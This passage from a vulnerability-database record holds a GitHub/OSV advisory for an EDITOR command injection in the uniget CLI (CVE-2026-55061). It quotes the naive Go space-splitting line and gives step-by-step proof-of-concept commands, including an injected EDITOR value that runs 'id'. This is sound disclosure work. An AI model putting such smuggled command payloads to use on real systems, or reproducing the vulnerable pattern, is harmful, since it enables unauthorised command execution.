An attacker can set EDITOR=\"/path/to/wrapper && id && echo\" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode.\n\n**Vulnerable Code:**\n```\neditorWithArgs := strings.Split(editor, \" \")\n```\n\n**Location Context:**\n```\neditor := os.Getenv(\"UNIGET_EDITOR\")\nif len(editor) == 0 {\n    editor = os.Getenv(\"EDITOR\")\n}\neditorWithArgs := strings.Split(editor, \" \")  // ← VULNERABLE\ncommand := exec.Command(editorWithArgs[0], editorWithArgs[1:]...)\n```\n**Issue:** Naive space-splitting allows injection. EDITOR=\"script && id && echo\" splits into [\"script\", \"&&\", \"id\", \"&&\", \"echo\"] enabling command execution.\n\n## **Step to Reproduce**\n\n**Step 1: **Create malicious editor wrapper\n```\nmkdir -p /tmp/poc-editor\ncat > /tmp/poc-editor/editor_wrapper.sh << 'EOF'\n#!/bin/bash\necho \"[EDITOR] Received args: $@\"\nid\nEOF\nchmod +x /tmp/poc-editor/editor_wrapper.sh\n```\n\n**Step 2: **Create test hook\n```\nmkdir -p ~/.config/uniget/hooks/pre-install\ncat > ~/.config/uniget/hooks/pre-install/test.sh << 'EOF'\n#!/bin/bash\necho \"Test hook\"\nEOF\nchmod 700 ~/.config/uniget/hooks/pre-install/test.sh\n```\n**Step 3:** Set injection payload\n```\nexport EDITOR=\"/tmp/poc-editor/editor_wrapper.sh && id && echo\"\n```\n\n**Step 4:** Run vulnerable code\n```\ncd /home/w4nn4d13/Downloads/cli\ngo build -o uniget ./cmd/uniget\n./uniget hooks edit --type=pre-install test.sh\n```\n**Step 5:** Observe output\n```\n[EDITOR] Received args: && id && echo /path/to/hook\nuid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody)\n```\n\n<img width=\"1017\" height=\"449\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9c72ea0c-fa08-46cd-a9cb-098942a488ce\" />","state":0,"publishedAt":"2026-08-17T17:46:05+00:00","modifiedAt":"2026-08-18T14:56:04.2148809+00:00","affected":[{"ecosystem":"Go","name":"gitlab.com/uniget-org/cli","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.27.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/uniget-org/cli/security/advisories/GHSA-qmcq-xw74-w667","https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91","https://github.com/uniget-org/cli","https://github.com/uniget-org/cli/releases/tag/v0.27.6"],"sourceUrl":"https://github.com/advisories/GHSA-qmcq-xw74-w667","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qmcq-xw74-w667","identifiers":["GHSA-qmcq-xw74-w667","CVE-2026-55061","GO-2026-6248"]},"retained":false,"historicalAffected":[]},{"revision":"a14c116dd47244579a4bcc631d86cfac","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6248","aliases":["CVE-2026-55061","GHSA-qmcq-xw74-w667"],"title":"uniget CLI has an EDITOR Command Injection in gitlab.com/uniget-org/cli","description":"uniget CLI has an EDITOR Command Injection in gitlab.com/uniget-org/cli","state":0,"publishedAt":"2026-08-18T14:32:29+00:00","modifiedAt":"2026-08-18T14:45:03.3425693+00:00","affected":[{"ecosystem":"Go","name":"gitlab.com/uniget-org/cli","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.27.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/uniget-org/cli/security/advisories/GHSA-qmcq-xw74-w667","https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91","https://github.com/uniget-org/cli/releases/tag/v0.27.6"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6248","license":"OSV · upstream source license applies","key":"osv:GO-2026-6248","identifiers":["GO-2026-6248","CVE-2026-55061","GHSA-qmcq-xw74-w667"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors.
